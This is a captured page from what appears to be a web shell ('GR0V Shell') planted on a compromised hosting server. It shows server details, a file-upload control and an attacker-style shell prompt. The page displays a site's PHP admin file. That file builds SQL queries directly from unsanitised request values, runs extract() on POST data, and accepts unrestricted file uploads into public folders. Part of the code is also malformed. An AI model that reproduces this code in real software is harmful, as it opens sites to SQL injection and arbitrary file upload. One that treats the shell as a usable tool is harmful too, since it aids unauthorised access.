? GR0V Shell

GR0V shell

Linux node1.dnscloudserver.in 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64

Path : /home/yogsadhna/public_html/admin/
File Upload :
Current File : /home/yogsadhna/public_html/admin/editpages.php

<? include "include/header.php";
if($_POST)
{
extract($_POST);
echo $new;

$obj->query("update pages set `proName`='$name', ' where `productId`='".$_GET['eid']."'");
if($_FILES['image1']['name'])
{
$imageName=$_GET['id']."-".$_FILES['image1']['name'];
$source=$_FILES['image1']['tmp_name'];
 move_uploaded_file($source, "product_images/".$imageName);
 $obj->query("update pages set `Image`='$imageName' where `productId`='".$_GET['eid']."'");

}
if($_FILES['imagethum']['name'])
{
$imageName=$_GET['id']."-".$_FILES['imagethum']['name'];
$source=$_FILES['imagethum']['tmp_name'];
move_uploaded_file($source, "produt_thum/".$imageName);
$obj->query("update pages set `Thum`='$imageName' where `productId`='".$_GET['eid']."'");
}
}
$eid = $_GET['eid'];


$results=$obj->query("select * from pages where `productId`='".$_GET['eid']."'");

$rows=$obj->fetch_query($results);

?>
   <!--main page-->
  <?
function check()
  {
   echo "hidsf";
  }
  ?>

   <link href="style.css" rel="stylesheet" type="text/css">
   
   
  	     <table width="100%" border="0" cellspacing="2" cellpadding="3">
           <tr>
             <td width="20%" class="border" valign="top"><? include "include/leftmenu.php" ?></td>
             <td bgcolor="#e6e4ef" id="welcomenote" valign="top">
			 <table cellpadding="5" cellspacing="0" border="0"  class="normaltext" align="center" width="80%">
			   <tr bgcolor="#FFFFFF" height="30">
			     <td align="center" colspan="2"><strong>Edit <?=$cat->catName?> Page</strong></td>
			   </tr>
			   <tr height="40"><td colspan="2" id="error">&nbsp;<?=$msg?></td></tr>
			   <form name="product" action="" method="post" onSubmit="return validproduct()" enctype="multipart/form-data">
			   <tr bgcolor="#EEEEEE">
			     <td class="textboxcap">Name Of Page</td>
			     <td><input name="name"  type="text" class="inputboxp" value="<?=$rows->Name?>" /></td>
			   </tr>
			   
			   <tr><td colspan="2">&nbsp;</td></tr>
               <? if ($eid != 19) { ?>
                
			   <tr><td colspan="2">&nbsp;</td></tr>
			   <tr bgcolor="#EEEEEE"><td class="textboxcap">Upload Image</td><td><input name="image1" type="file" class="inputbox" value=""><br />
			   <?=$rows->Image ?>[Dimension 500 x 650]</td>
			   </tr> <? } ?>
			   <tr><td colspan="2">&nbsp;</td></tr>
               <? if (($eid == 3) ||($eid == 19)) { ?>
			   <tr bgcolor="#EEEEEE">
			     <td class="textboxcap">Upload PDF<br /></td>
			     <td><input name="imagethum" type="file" class="inputbox" value=""><br />
			     <?=$rows->Thum?></td>
			   </tr> <? } ?>
			   <tr height="40"><td colspan="2">&nbsp;</td></tr>
			   <tr><td colspan="2" align="center">
			   <input type="hidden" value="<?=$cat->catId?>" name="ptype">
			   <input name="submit"  type="image" src="images/Submit.jpg" class="submitbox" value="Submit"></td></tr>
			   </form>
			   </table>
			 </td>
           </tr>
        </table>
 <!--end main page-->
	  <? include "include/footer.php";?>

T1KUS90T
  root-grov@65.21.25.53:~$